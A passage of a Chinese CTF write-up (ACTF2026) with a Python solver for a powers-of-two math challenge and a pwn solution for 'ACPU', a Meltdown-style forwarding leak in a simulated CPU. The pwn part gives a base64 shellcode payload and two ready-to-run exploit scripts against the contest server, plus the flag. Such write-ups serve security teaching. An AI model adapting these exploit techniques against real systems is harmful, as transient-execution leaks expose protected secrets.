Check whether frac(n*log10(2)) lies in [lo, hi).
This is mathematically exact and avoids computing 2**n.
"""
d = len(str(m))
alpha = log10(mpfr(2))
lo = log10(mpfr(m)) - (d - 1)
hi = log10(mpfr(m + 1)) - (d - 1)
# Integer part must be at least d-1 (i.e. 2^n has at least d digits)
n_alpha = mpfr(n) * alpha
if floor(n_alpha) + 1 < d:
return False
frac = fmod(n_alpha, mpfr(1))
# tiny tolerance on the left to absorb rounding, strict on the right
eps = mpfr(10) ** (-60)
return lo - eps <= frac < hi
# ------------------- search -------------------
def find_n(m: int, limit: int = 2_000_000_000) -> int:
"""Return smallest n such that 2**n starts with m."""
bin_path = _build_scanner()
d, alpha_hex, lo_hex, hi_hex = _fixed_params(m)
alpha_val = mpfr(int(alpha_hex, 16)) / mpfr(1 << 128)
start = 0
while start <= limit:
start_ip = int(floor(mpfr(start) * alpha_val))
proc = subprocess.run(
[bin_path, alpha_hex, lo_hex, hi_hex,
str(d), str(start), str(start_ip), str(limit)],
capture_output=True, text=True)
if proc.returncode != 0 or not proc.stdout.strip():
raise RuntimeError(f"no exponent found for m={m} up to {limit}")
n = int(proc.stdout.strip().splitlines()[0])
if _verify(m, n):
return n
start = n + 1
raise RuntimeError(f"no verified exponent for m={m}")
# ------------------- remote interaction -------------------
HOST = "1.95.44.158"
PORT = 11314
def recv_until(sock, marker: bytes) -> bytes:
data = bytearray()
while marker not in data:
chunk = sock.recv(4096)
if not chunk:
break
data.extend(chunk)
return bytes(data)
def solve_remote(team: str, token: str, limit: int, rounds: int, host: str, port: int):
with socket.create_connection((host, port), timeout=15) as sock:
sock.settimeout(75)
buf = bytearray()
buf.extend(recv_until(sock, b"Team:"))
sock.sendall(team.encode() + b"\n")
buf.extend(recv_until(sock, b"Token:"))
sock.sendall(token.encode() + b"\n")
for rnd in range(1, rounds + 1):
buf.extend(recv_until(sock, b"n = "))
# extract m value from buffer
ms = re.findall(rb"m = (\d+)", buf)
if len(ms) < rnd:
text = buf.decode(errors="replace")
if "Rate limit exceeded" in text:
print("[!] Rate limit exceeded. Wait 10 minutes.")
sys.exit(2)
raise RuntimeError(f"Unexpected message: {text}")
m = int(ms[-1])
n = find_n(m, limit)
print(f"[+] Round {rnd}/{rounds}: m={m}, n={n}")
sock.sendall(str(n).encode() + b"\n")
# grab the rest (flag)
while True:
try:
chunk = sock.recv(4096)
except socket.timeout:
break
if not chunk:
break
buf.extend(chunk)
print(buf.decode(errors="replace"))
# ------------------- main -------------------
def main():
parser = argparse.ArgumentParser(description="inverse_pow solver")
parser.add_argument("--team", default=os.getenv("CTF_TEAM"))
parser.add_argument("--token", default=os.getenv("CTF_TOKEN"))
parser.add_argument("--host", default=HOST)
parser.add_argument("--port", type=int, default=PORT)
parser.add_argument("--limit", type=int, default=2_000_000_000)
parser.add_argument("--rounds", type=int, default=8)
parser.add_argument("--test", action="store_true", help="local test mode")
args = parser.parse_args()
if args.test:
tests = [
(1, 0), (2, 1), (3, 5), (4, 2), (5, 9),
(6, 6), (7, 46), (8, 3), (9, 53), (10, 10),
(123, 90), (9999, 13301),
]
print("Small value tests:")
for m, exp in tests:
t0 = time.time()
n = find_n(m)
dt = time.time() - t0
ok = _verify(m, n)
print(f" m={m:>6} n={n:>8} {dt:.3f}s {'OK' if ok else 'FAIL'}")
print("\n8-digit benchmark:")
import random
random.seed(42)
for _ in range(5):
m = random.randint(10_000_000, 99_999_999)
t0 = time.time()
n = find_n(m)
dt = time.time() - t0
ok = _verify(m, n)
print(f" m={m} n={n:>12} {dt:.3f}s {'OK' if ok else 'FAIL'}")
else:
if not args.team or not args.token:
print("Set --team/--token or env CTF_TEAM/CTF_TOKEN")
sys.exit(1)
solve_remote(args.team, args.token, args.limit, args.rounds,
args.host, args.port)
if __name__ == "__main__":
main()
Pwn
ACPU
解法分析
题目要求输入一行base64编码，最大长度为MAX_LEN = 0x200 * 4
img
CODE_START = 0x100
write_memfile(ROM_FILE, CODE_START, code, "a+")
说明我们的代码会被写入 ROM，从 0x100 开始执行
img
题目把 flag.txt 转成 /tmp/flag.mem，然后模拟器运行时会把这块内存映射进去
模拟器跑完后会打印所有寄存器和 PC，所以目标是想办法把flag弄到寄存器里，让他最后被打印出来
调试现象
本地用 Simulation_debug 运行后，可以看到：
- •
x0 ~ x31 - •
pc - •
took xxxx cycles - • Verilog
$finish
而且能生成 sim.vcd，说明这是一个支持波形分析的流水线 CPU 模拟器
从波形信号目录里还能看到一些关键信号，比如：
- •
if_pc/if_insn - •
id_pc/id_insn - •
memr/memw - •
rd - •
wdata
这说明 CPU 至少有取指、译码等流水阶段，并且暴露了读写内存、写回寄存器等控制线
漏洞原理
这题的核心是一个 Meltdown 风格的瞬态执行 / forwarding 泄露
正常逻辑
flag 在受保护地址：
0x80000000
理论上，用户态执行类似：
a0 = *(uint32_t *)0x80000000;
应该失败，不能把结果正式写回寄存器
漏洞点
虽然这次 lw 最终会因为权限检查失败而“不提交”，但在流水线内部，读取到的数据已经短暂出现过了。
如果紧跟着来一条：
sw a0, 0(sp)
那么这条 sw 很可能不会老老实实等寄存器文件写回，而是直接通过 data forwarding / bypass 拿到上一条 lw 的结果。
于是发生了：
- 1.
lw去读受保护地址 - 2. 按架构态，这次读取最终应该无效
- 3. 但数据在微架构层面已经被取出
- 4. 下一条
sw通过 forwarding 把这个值写到了普通内存 - 5. 再从普通内存合法读回来
这就是整题的泄露链
利用思路
- 1. 准备寄存器
- •
x5 = 0x80000000，指向 flag 区 - •
x2 = 0x00010000，作为sp
- 1. 非法读 + 立刻写栈
循环做下面的事：
lw a0, off(x5)
sw a0, off(sp)
表面上 lw 不该成功，但 sw 会把 secret 偷到栈上。
- 1. 从栈上读回寄存器
把栈里的内容读到最终会被打印的寄存器：
lw x11, 0(sp)
lw x12, 4(sp)
lw x13, 8(sp)
…
这样程序结束后，flag 就会直接出现在寄存器输出里。
Payload
twIAgAOlAgAjIKEAgyUBAAOlQgAjIqEAAyZBAAOlggAjJKEAgyaBAAOlwgAjJqEAAyfBAAOlAgEjKKEAgycBAQOlQgEjKqEAAyhBAQOlggEjLKEAgyiBAQOlwgEjLqEAAynBAQOlAgIjIKECgykBAgOlQgIjIqECAypBAgOlggIjJKECgyqBAgOlwgIjJqECAyvBAgOlAgMjKKECgysBAwOlQgMjKqECAyxBAwOlggMjLKECgyyBAwOlwgMjLqECAy3BAw==
Exp
解放双手版本
import socket
import ssl
import re
import struct
HOST = "pwn-6c889606fc.adworld.xctf.org.cn"
PORT = 9999
PAYLOAD = "twIAgAOlAgAjIKEAgyUBAAOlQgAjIqEAAyZBAAOlggAjJKEAgyaBAAOlwgAjJqEAAyfBAAOlAgEjKKEAgycBAQOlQgEjKqEAAyhBAQOlggEjLKEAgyiBAQOlwgEjLqEAAynBAQOlAgIjIKECgykBAgOlQgIjIqECAypBAgOlggIjJKECgyqBAgOlwgIjJqECAyvBAgOlAgMjKKECgysBAwOlQgMjKqECAyxBAwOlggMjLKECgyyBAwOlwgMjLqECAy3BAw=="
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
s = ctx.wrap_socket(socket.create_connection((HOST, PORT)), server_hostname=HOST)
print(s.recv(4096).decode(errors="ignore"))
s.sendall((PAYLOAD + "\n").encode())
data = b""
while True:
chunk = s.recv(4096)
if not chunk:
break
data += chunk
if b"done" in data:
break
text = data.decode(errors="ignore")
print(text)
vals = []
for i in range(11, 27):
m = re.search(rf"x{i} = 0x([0-9a-fA-F]{{8}})", text)
if m:
vals.append(int(m.group(1), 16))
flag = b"".join(struct.pack("<I", v) for v in vals).split(b"\x00", 1)[0]
print("FLAG:", flag.decode(errors="ignore"))
手动提取寄存器版本
第一部分
from pwn import *
p=remote("pwn-6c889606fc.adworld.xctf.org.cn", 9999, ssl=True)
payload='twIAgAOlAgAjIKEAgyUBAAOlQgAjIqEAAyZBAAOlggAjJKEAgyaBAAOlwgAjJqEAAyfBAAOlAgEjKKEAgycBAQOlQgEjKqEAAyhBAQOlggEjLKEAgyiBAQOlwgEjLqEAAynBAQOlAgIjIKECgykBAgOlQgIjIqECAypBAgOlggIjJKECgyqBAgOlwgIjJqECAyvBAgOlAgMjKKECgysBAwOlQgMjKqECAyxBAwOlggMjLKECgyyBAwOlwgMjLqECAy3BAw=='
p.sendline(payload)
p.interactive()
第二部分（在regs里填入x11到x26的内容）
import struct
regs = [
0x46544341,
0x7634487b,
0x30795f33,
0x33685f75,
0x5f647234,
0x6d5f6630,
0x64746c33,
0x3f6e7730,
0x0000007d,
]
flag = b''.join(struct.pack('<I', x) for x in regs).split(b'\x00', 1)[0]
print(flag.decode())
Flag
ACTF{H4v3_y0u_h34rd_0f_m3ltd0wn?}
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：Zer0day安全 Inf1n1ty
Inf1n1ty《ACTF2026 WP》